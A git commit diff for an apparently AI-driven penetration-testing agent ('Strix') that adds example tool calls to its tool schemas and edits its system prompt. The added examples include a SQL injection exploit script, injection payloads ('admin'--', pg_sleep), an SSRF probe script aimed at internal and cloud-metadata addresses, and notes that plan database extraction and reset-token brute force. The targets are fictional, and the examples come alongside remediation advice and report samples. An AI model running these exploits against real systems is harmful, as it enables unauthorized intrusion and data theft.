docs(tools): add comprehensive multiline examples and remove XML terminology

- Add professional, realistic multiline examples to all tool schemas
- finish_scan: Complete pentest report with SSRF/access control findings
- create_vulnerability_report: Full SSRF writeup with cloud metadata PoC
- file_edit, notes, thinking: Realistic security testing examples
- Remove XML terminology from system prompt and tool descriptions
- All examples use real newlines (not literal \n) to demonstrate correct usage

strix/agents/StrixAgent/system_prompt.jinja

@@ -16,9 +16,9 @@ CLI OUTPUT:
 - NEVER use "Strix" or any identifiable names/markers in HTTP requests, payloads, user-agents, or any inputs
 
 INTER-AGENT MESSAGES:
-- NEVER echo inter_agent_message or agent_completion_report XML content that is sent to you in your output.
+- NEVER echo inter_agent_message or agent_completion_report blocks that are sent to you in your output.
-- Process these internally without displaying the XML
+- Process these internally without displaying them
-- NEVER echo agent_identity XML blocks; treat them as internal metadata for identity only. Do not include them in outputs or tool calls.
+- NEVER echo agent_identity blocks; treat them as internal metadata for identity only. Do not include them in outputs or tool calls.
 - Minimize inter-agent messaging: only message when essential for coordination or assistance; avoid routine status updates; batch non-urgent information; prefer parent/child completion flows and shared artifacts over messaging
 
 AUTONOMOUS BEHAVIOR:
@@ -301,7 +301,7 @@ PERSISTENCE IS MANDATORY:
 </multi_agent_system>
 
 <tool_usage>
-Tool calls use XML format:
+Tool call format:
 <function=tool_name>
 <parameter=param_name>value</parameter>
 </function>
@@ -311,8 +311,8 @@ CRITICAL RULES:
 1. Exactly one tool call per message — never include more than one <function>...</function> block in a single LLM message.
 2. Tool call must be last in message
 3. EVERY tool call MUST end with </function>. This is MANDATORY. Never omit the closing tag. End your response immediately after </function>.
-4. Use ONLY the exact XML format shown above. NEVER use JSON/YAML/INI or any other syntax for tools or parameters.
+4. Use ONLY the exact format shown above. NEVER use JSON/YAML/INI or any other syntax for tools or parameters.
-5. When sending ANY multi-line content in tool parameters, use real newlines (actual line breaks). Do NOT emit literal "\n" sequences. If you send "\n" instead of real line breaks inside the XML parameter value, tools may fail or behave incorrectly.
+5. When sending ANY multi-line content in tool parameters, use real newlines (actual line breaks). Do NOT emit literal "\n" sequences. Literal "\n" instead of real line breaks will cause tools to fail.
 6. Tool names must match exactly the tool "name" defined (no module prefixes, dots, or variants).
    - Correct: <function=think> ... </function>
    - Incorrect: <thinking_tools.think> ... </function>

strix/tools/browser/browser_actions_schema.xml

@@ -1,4 +1,3 @@
-<?xml version="1.0" ?>
 <tools>
   <tool name="browser_action">
     <description>Perform browser actions using a Playwright-controlled browser with multiple tabs.

strix/tools/file_edit/file_edit_actions_schema.xml

@@ -104,8 +104,30 @@
   # Create a file
   <function=str_replace_editor>
   <parameter=command>create</parameter>
-  <parameter=path>/home/user/project/new_file.py</parameter>
+  <parameter=path>/home/user/project/exploit.py</parameter>
-  <parameter=file_text>print("Hello World")</parameter>
+  <parameter=file_text>#!/usr/bin/env python3
+"""SQL Injection exploit for Acme Corp login endpoint."""
+
+import requests
+import sys
+
+TARGET = "https://app.acme-corp.com/api/v1/auth/login"
+
+def exploit(username: str) -> dict:
+    payload = {
+        "username": f"{username}'--",
+        "password": "anything"
+    }
+    response = requests.post(TARGET, json=payload, timeout=10)
+    return response.json()
+
+if __name__ == "__main__":
+    if len(sys.argv) < 2:
+        print(f"Usage: {sys.argv[0]} <username>")
+        sys.exit(1)
+
+    result = exploit(sys.argv[1])
+    print(f"Result: {result}")</parameter>
   </function>
 
   # Replace text in file
@@ -121,7 +143,27 @@
   <parameter=command>insert</parameter>
   <parameter=path>/home/user/project/file.py</parameter>
   <parameter=insert_line>10</parameter>
-  <parameter=new_str>print("Inserted line")</parameter>
+  <parameter=new_str>def validate_input(user_input: str) -> bool:
+    """Validate user input to prevent injection attacks."""
+    forbidden_chars = ["'", '"', ";", "--", "/*", "*/"]
+    for char in forbidden_chars:
+        if char in user_input:
+            return False
+    return True</parameter>
+  </function>
+
+  # Replace code block
+  <function=str_replace_editor>
+  <parameter=command>str_replace</parameter>
+  <parameter=path>/home/user/project/auth.py</parameter>
+  <parameter=old_str>def authenticate(username, password):
+    query = f"SELECT * FROM users WHERE username = '{username}'"
+    result = db.execute(query)
+    return result</parameter>
+  <parameter=new_str>def authenticate(username, password):
+    query = "SELECT * FROM users WHERE username = %s"
+    result = db.execute(query, (username,))
+    return result</parameter>
   </function>
     </examples>
   </tool>

strix/tools/finish/finish_actions_schema.xml

@@ -66,5 +66,87 @@ Professional, customer-facing penetration test report rules (PDF-ready):
     <returns type="Dict[str, Any]">
       <description>Response containing success status, vulnerability count, and completion message. If agents are still running, returns details about active agents and suggested actions.</description>
     </returns>
+    <examples>
+
+<function=finish_scan>
+  <parameter=executive_summary>Executive summary
+An external penetration test of the Acme Customer Portal and associated API identified multiple security weaknesses that, if exploited, could result in unauthorized access to customer data, cross-tenant exposure, and access to internal network resources.
+
+Overall risk posture: Elevated.
+
+Key outcomes
+- Confirmed server-side request forgery (SSRF) in a URL preview capability that enables the application to initiate outbound requests to attacker-controlled destinations and internal network ranges.
+- Identified broken access control patterns in business-critical workflows that can enable cross-tenant data access (tenant isolation failures).
+- Observed session and authorization hardening gaps that materially increase risk when combined with other weaknesses.
+
+Business impact
+- Increased likelihood of sensitive data exposure across customers/tenants, including invoices, orders, and account information.
+- Increased risk of internal service exposure through server-side outbound request functionality (including link-local and private network destinations).
+- Increased potential for account compromise and administrative abuse if tokens are stolen or misused.
+
+Remediation theme
+Prioritize eliminating SSRF pathways and centralizing authorization enforcement (deny-by-default). Follow with session hardening and monitoring improvements, then validate with a focused retest.</parameter>
+  <parameter=methodology>Methodology
+The assessment followed industry-standard penetration testing practices aligned to OWASP Web Security Testing Guide (WSTG) concepts and common web/API security testing methodology.
+
+Engagement details
+- Assessment type: External penetration test (black-box with limited gray-box context)
+- Target environment: Production-equivalent staging
+
+Scope (in-scope assets)
+- Web application: https://app.acme-corp.com
+- API base: https://app.acme-corp.com/api/v1/
+
+High-level testing activities
+- Reconnaissance and attack-surface mapping (routes, parameters, workflows)
+- Authentication and session management review (token handling, session lifetime, sensitive actions)
+- Authorization and tenant-isolation testing (object access and privilege boundaries)
+- Input handling and server-side request testing (URL fetchers, imports, previews, callbacks)
+- File handling and content rendering review (uploads, previews, unsafe content types)
+- Configuration review (transport security, security headers, caching behavior, error handling)
+
+Evidence handling and validation standard
+Only validated issues with reproducible impact were treated as findings. Each finding was documented with clear reproduction steps and sufficient evidence to support remediation and verification testing.</parameter>
+  <parameter=technical_analysis>Technical analysis
+This section provides a consolidated view of the confirmed findings and observed risk patterns. Detailed reproduction steps and evidence are documented in the individual vulnerability reports.
+
+Severity model
+Severity reflects a combination of exploitability and potential impact to confidentiality, integrity, and availability, considering realistic attacker capabilities.
+
+Confirmed findings (high level)
+1) Server-side request forgery (SSRF) in URL preview (Critical)
+The application fetches user-supplied URLs server-side to generate previews. Validation controls were insufficient to prevent access to internal and link-local destinations. This creates a pathway to internal network enumeration and potential access to sensitive internal services. Redirect and DNS/normalization bypass risk must be assumed unless controls are comprehensive and applied on every request hop.
+
+2) Broken tenant isolation in order/invoice workflows (High)
+Multiple endpoints accepted object identifiers without consistently enforcing tenant ownership. This is indicative of broken function- and object-level authorization checks. In practice, this can enable cross-tenant access to business-critical resources (viewing or modifying data outside the attacker’s tenant boundary).
+
+3) Administrative action hardening gaps (Medium)
+Several sensitive actions lacked defense-in-depth controls (e.g., re-authentication for high-risk actions, consistent authorization checks across related endpoints, and protections against session misuse). While not all behaviors were immediately exploitable in isolation, they increase the likelihood and blast radius of account compromise when chained with other vulnerabilities.
+
+4) Unsafe file preview/content handling patterns (Medium)
+File preview and rendering behaviors can create exposure to script execution or content-type confusion if unsafe formats are rendered inline. Controls should be consistent: strong content-type validation, forced download where appropriate, and hardening against active content.
+
+Systemic themes and root causes
+- Authorization enforcement appears distributed and inconsistent across endpoints instead of centralized and testable.
+- Outbound request functionality lacks a robust, deny-by-default policy for destination validation.
+- Hardening controls (session lifetime, sensitive-action controls, logging) are applied unevenly, increasing the likelihood of successful attack chains.</parameter>
+  <parameter=recommendations>Recommendations
+Priority 0
+- Eliminate SSRF by implementing a strict destination allowlist and deny-by-default policy for outbound requests. Block private, loopback, and link-local ranges (IPv4 and IPv6) after DNS resolution. Re-validate on every redirect hop. Apply URL parsing/normalization safeguards against ambiguous encodings and unusual IP notations.
+- Apply network egress controls so the application runtime cannot reach sensitive internal ranges or link-local services. Route necessary outbound requests through a policy-enforcing egress proxy with logging.
+
+Priority 1
+- Centralize authorization enforcement for all object access and administrative actions. Implement consistent tenant-ownership checks for every read/write path involving orders, invoices, and account resources. Adopt deny-by-default authorization middleware/policies.
+- Add regression tests for authorization decisions, including cross-tenant negative cases and privilege-boundary testing for administrative endpoints.
+- Harden session management: secure cookie attributes, session rotation after authentication and privilege change events, reduced session lifetime for privileged contexts, and consistent CSRF protections for state-changing actions.
+
+Priority 2
+- Harden file handling and preview behaviors: strict content-type allowlists, forced download for active formats, safe rendering pipelines, and scanning/sanitization where applicable.
+- Improve monitoring and detection: alert on high-risk events such as repeated authorization failures, anomalous outbound fetch attempts, sensitive administrative actions, and unusual access patterns to business-critical resources.
+
+Follow-up validation
+- Conduct a targeted retest after remediation to confirm SSRF controls, tenant isolation enforcement, and session hardening, and to ensure no bypasses exist via redirects, DNS rebinding, or encoding edge cases.</parameter>
+</function>
+    </examples>
   </tool>
 </tools>

strix/tools/notes/notes_actions_schema.xml

@@ -24,29 +24,54 @@
     <examples>
   # Document an interesting finding
   <function=create_note>
-  <parameter=title>Interesting Directory Found</parameter>
+  <parameter=title>Authentication Bypass Findings</parameter>
-  <parameter=content>Found /backup/ directory that might contain sensitive files. Directory listing
+  <parameter=content>Discovered multiple authentication bypass vectors in the login system:
-               seems disabled but worth investigating further.</parameter>
+
+1. SQL Injection in username field
+   - Payload: admin'--
+   - Result: Full authentication bypass
+   - Endpoint: POST /api/v1/auth/login
+
+2. JWT Token Weakness
+   - Algorithm confusion attack possible (RS256 -> HS256)
+   - Token expiration is 24 hours but no refresh rotation
+   - Token stored in localStorage (XSS risk)
+
+3. Password Reset Flow
+   - Reset tokens are only 6 digits (brute-forceable)
+   - No rate limiting on reset attempts
+   - Token valid for 48 hours
+
+Next Steps:
+- Extract full database via SQL injection
+- Test JWT manipulation attacks
+- Attempt password reset brute force</parameter>
   <parameter=category>findings</parameter>
-  <parameter=tags>["directory", "backup"]</parameter>
+  <parameter=tags>["auth", "sqli", "jwt", "critical"]</parameter>
   </function>
 
   # Methodology note
   <function=create_note>
-  <parameter=title>Authentication Flow Analysis</parameter>
+  <parameter=title>API Endpoint Mapping Complete</parameter>
-  <parameter=content>The application uses JWT tokens stored in localStorage. Token expiration is
+  <parameter=content>Completed comprehensive API enumeration using multiple techniques:
-               set to 24 hours. Observed that refresh token rotation is not implemented.</parameter>
-  <parameter=category>methodology</parameter>
-  <parameter=tags>["auth", "jwt", "session"]</parameter>
-  </function>
 
-  # Research question
+Discovered Endpoints:
-  <function=create_note>
+- /api/v1/auth/* - Authentication endpoints (login, register, reset)
-  <parameter=title>Custom Header Investigation</parameter>
+- /api/v1/users/* - User management (profile, settings, admin)
-  <parameter=content>The API returns a custom X-Request-ID header. Need to research if this
+- /api/v1/orders/* - Order management (IDOR vulnerability confirmed)
-               could be used for user tracking or has any security implications.</parameter>
+- /api/v1/admin/* - Admin panel (403 but may be bypassable)
-  <parameter=category>questions</parameter>
+- /api/internal/* - Internal APIs (should not be exposed)
-  <parameter=tags>["headers", "research"]</parameter>
+
+Methods Used:
+- Analyzed JavaScript bundles for API calls
+- Bruteforced common paths with ffuf
+- Reviewed OpenAPI/Swagger documentation at /api/docs
+- Monitored traffic during normal application usage
+
+Priority Targets:
+The /api/internal/* endpoints are high priority as they appear to lack authentication checks based on error message differences.</parameter>
+  <parameter=category>methodology</parameter>
+  <parameter=tags>["api", "enumeration", "recon"]</parameter>
   </function>
     </examples>
   </tool>

strix/tools/proxy/proxy_actions_schema.xml

@@ -1,4 +1,3 @@
-<?xml version="1.0" ?>
 <tools>
   <tool name="list_requests">
     <description>List and filter proxy requests using HTTPQL with pagination.</description>

strix/tools/python/python_actions_schema.xml

@@ -1,4 +1,3 @@
-<?xml version="1.0" encoding="UTF-8"?>
 <tools>
   <tool name="python_action">
     <description>Perform Python actions using persistent interpreter sessions for cybersecurity tasks.</description>
@@ -55,7 +54,7 @@
          - Print statements and stdout are captured
          - Variables persist between executions in the same session
          - Imports, function definitions, etc. persist in the session
-         - IMPORTANT (multiline): Put real line breaks in <parameter=code>. Do NOT emit literal "\n" sequences.
+         - IMPORTANT (multiline): Put real line breaks in your code. Do NOT emit literal "\n" sequences — use actual newlines.
          - IPython magic commands are fully supported (%pip, %time, %whos, %%writefile, etc.)
          - Line magics (%) and cell magics (%%) work as expected
       6. CLOSE: Terminates the session completely and frees memory

strix/tools/reporting/reporting_actions_schema.xml

@@ -131,5 +131,148 @@ H = High (total loss of availability)</description>
 - On success: success=true, message, report_id, severity, cvss_score
 - On duplicate detection: success=false, message (with duplicate info), duplicate_of (ID), duplicate_title, confidence (0-1), reason (why it's a duplicate)</description>
     </returns>
+
+    <examples>
+<function=create_vulnerability_report>
+<parameter=title>Server-Side Request Forgery (SSRF) via URL Preview Feature Enables Internal Network Access</parameter>
+<parameter=description>A server-side request forgery (SSRF) vulnerability was identified in the URL preview feature that generates rich previews for user-supplied links.
+
+The application performs server-side HTTP requests to retrieve metadata (title, description, thumbnails). Insufficient validation of the destination allows an attacker to coerce the server into making requests to internal network hosts and link-local addresses that are not directly reachable from the internet.
+
+This issue is particularly high risk in cloud-hosted environments where link-local metadata services may expose sensitive information (e.g., instance identifiers, temporary credentials) if reachable from the application runtime.</parameter>
+<parameter=impact>Successful exploitation may allow an attacker to:
+
+- Reach internal-only services (admin panels, service discovery endpoints, unauthenticated microservices)
+- Enumerate internal network topology based on timing and response differences
+- Access link-local services that should never be reachable from user input paths
+- Potentially retrieve sensitive configuration data and temporary credentials in certain hosting environments
+
+Business impact includes increased likelihood of lateral movement, data exposure from internal systems, and compromise of cloud resources if credentials are obtained.</parameter>
+<parameter=target>https://app.acme-corp.com</parameter>
+<parameter=technical_analysis>The vulnerable behavior occurs when the application accepts a user-controlled URL and fetches it server-side to generate a preview. The response body and/or selected metadata fields are then returned to the client.
+
+Observed security gaps:
+- No robust allowlist of approved outbound domains
+- No effective blocking of private, loopback, and link-local address ranges
+- Redirect handling can be leveraged to reach disallowed destinations if not revalidated after following redirects
+- DNS resolution and IP validation appear to occur without normalization safeguards, creating bypass risk (e.g., encoded IPs, mixed IPv6 notation, DNS rebinding scenarios)
+
+As a result, an attacker can supply a URL that resolves to an internal destination. The server performs the request from a privileged network position, and the attacker can infer results via returned preview content or measurable response differences.</parameter>
+<parameter=poc_description>To reproduce:
+
+1. Authenticate to the application as a standard user.
+2. Navigate to the link preview feature (e.g., “Add Link”, “Preview URL”, or equivalent UI).
+3. Submit a URL pointing to an internal resource. Example payloads:
+
+   - http://127.0.0.1:80/
+   - http://localhost:8080/
+   - http://10.0.0.1:80/
+   - http://169.254.169.254/ (link-local)
+
+4. Observe that the server attempts to fetch the destination and returns either:
+   - Preview content/metadata from the target, or
+   - Error/timing differences that confirm network reachability.
+
+Impact validation:
+- Use a controlled internal endpoint (or a benign endpoint that returns a distinct marker) to demonstrate that the request is performed by the server, not the client.
+- If the application follows redirects, validate whether an allowlisted URL can redirect to a disallowed destination, and whether the redirected-to destination is still fetched.</parameter>
+<parameter=poc_script_code>import json
+import sys
+import time
+from urllib.parse import urljoin
+
+import requests
+
+BASE = "https://app.acme-corp.com"
+PREVIEW_ENDPOINT = urljoin(BASE, "/api/v1/link-preview")
+
+SESSION_COOKIE = ""  # Set to your authenticated session cookie value if needed
+
+TARGETS = [
+    "http://127.0.0.1:80/",
+    "http://localhost:8080/",
+    "http://10.0.0.1:80/",
+    "http://169.254.169.254/",
+]
+
+
+def preview(url: str) -> tuple[int, float, str]:
+    headers = {
+        "Content-Type": "application/json",
+    }
+    cookies = {}
+    if SESSION_COOKIE:
+        cookies["session"] = SESSION_COOKIE
+
+    payload = {"url": url}
+    start = time.time()
+    resp = requests.post(PREVIEW_ENDPOINT, headers=headers, cookies=cookies, data=json.dumps(payload), timeout=15)
+    elapsed = time.time() - start
+
+    body = resp.text
+    snippet = body[:500]
+    return resp.status_code, elapsed, snippet
+
+
+def main() -> int:
+    print(f"Endpoint: {PREVIEW_ENDPOINT}")
+    print("Testing SSRF candidates (server-side fetch behavior):")
+    print()
+
+    for url in TARGETS:
+        try:
+            status, elapsed, snippet = preview(url)
+            print(f"URL: {url}")
+            print(f"Status: {status}")
+            print(f"Elapsed: {elapsed:.2f}s")
+            print("Body (first 500 chars):")
+            print(snippet)
+            print("-" * 60)
+        except requests.RequestException as e:
+            print(f"URL: {url}")
+            print(f"Request failed: {e}")
+            print("-" * 60)
+
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())</parameter>
+<parameter=remediation_steps>Implement layered SSRF defenses:
+
+1. Explicit allowlist for outbound destinations
+   - Only permit fetching from a maintained set of approved domains (and required schemes).
+   - Reject all other destinations by default.
+
+2. Robust IP range blocking after DNS resolution
+   - Resolve the hostname and block private, loopback, link-local, and reserved ranges for both IPv4 and IPv6.
+   - Re-validate on every redirect hop; do not follow redirects to disallowed destinations.
+
+3. URL normalization and parser hardening
+   - Normalize and validate the URL using a strict parser.
+   - Reject ambiguous encodings and unusual notations that can bypass filters.
+
+4. Network egress controls (defense in depth)
+   - Enforce outbound firewall rules so the application runtime cannot reach sensitive internal ranges or link-local addresses.
+   - If previews are required, route outbound requests through a dedicated egress proxy with policy enforcement and auditing.
+
+5. Response handling hardening
+   - Avoid returning raw response bodies from previews.
+   - Strictly limit what metadata is returned and apply size/time limits to outbound fetches.
+
+6. Monitoring and alerting
+   - Log and alert on preview attempts to unusual destinations, repeated failures, high-frequency requests, or attempts to access blocked ranges.</parameter>
+<parameter=attack_vector>N</parameter>
+<parameter=attack_complexity>L</parameter>
+<parameter=privileges_required>L</parameter>
+<parameter=user_interaction>N</parameter>
+<parameter=scope>C</parameter>
+<parameter=confidentiality>H</parameter>
+<parameter=integrity>H</parameter>
+<parameter=availability>L</parameter>
+<parameter=endpoint>/api/v1/link-preview</parameter>
+<parameter=method>POST</parameter>
+</function>
+    </examples>
   </tool>
 </tools>

strix/tools/thinking/thinking_actions_schema.xml

@@ -19,33 +19,35 @@
     <examples>
   # Planning and strategy
   <function=think>
-  <parameter=thought>I need to analyze the scan results systematically. First, let me review
+  <parameter=thought>Analysis of the login endpoint SQL injection:
-  the open ports: 22 (SSH), 80 (HTTP), 443 (HTTPS), and 3306 (MySQL). The MySQL port being
-  externally accessible is a high priority security concern. I should check for default
-  credentials and version information. For the web services, I need to enumerate
-  directories and test for common web vulnerabilities.</parameter>
-  </function>
 
-  # Analysis of tool outputs
+Current State:
-  <function=think>
+- Confirmed SQL injection in POST /api/v1/auth/login
-  <parameter=thought>The Nmap scan revealed 15 open ports, but three stand out as concerning:
+- Backend database is PostgreSQL 14.2
-  - Port 3306 (MySQL) - Database should not be exposed externally
+- Application user has full CRUD privileges
-  - Port 5432 (PostgreSQL) - Another database port that's risky when public
-  - Port 6379 (Redis) - Often misconfigured and can lead to data exposure
-  I should prioritize testing these database services for authentication bypass and
-  information disclosure vulnerabilities.</parameter>
-  </function>
 
-  # Decision making and next steps
+Exploitation Strategy:
-  <function=think>
+1. First, enumerate database structure using UNION-based injection
-  <parameter=thought>Based on the vulnerability scan results, I've identified several critical
+2. Extract user table schema and credentials
-  issues that need immediate attention:
+3. Check for password hashing (MD5? bcrypt?)
-  1. SQL injection in the login form (confirmed with sqlmap)
+4. Look for admin accounts and API keys
-  2. Reflected XSS in the search parameter
+
-  3. Directory traversal in the file upload function
+Risk Assessment:
-  I should document these findings with proof-of-concept exploits and assign appropriate
+- CVSS Base Score: 9.8 (Critical)
-  CVSS scores. The SQL injection poses the highest risk due to potential data
+- Attack Vector: Network (remotely exploitable)
-  exfiltration.</parameter>
+- Privileges Required: None
+- Impact: Full database compromise
+
+Evidence Collected:
+- Error-based injection confirms PostgreSQL
+- Time-based payload: admin' AND pg_sleep(5)-- caused 5s delay
+- UNION injection reveals 8 columns in users table
+
+Next Actions:
+1. Write PoC exploit script in Python
+2. Extract password hashes for analysis
+3. Create vulnerability report with full details
+4. Test if same vulnerability exists in other endpoints</parameter>
   </function>
     </examples>
   </tool>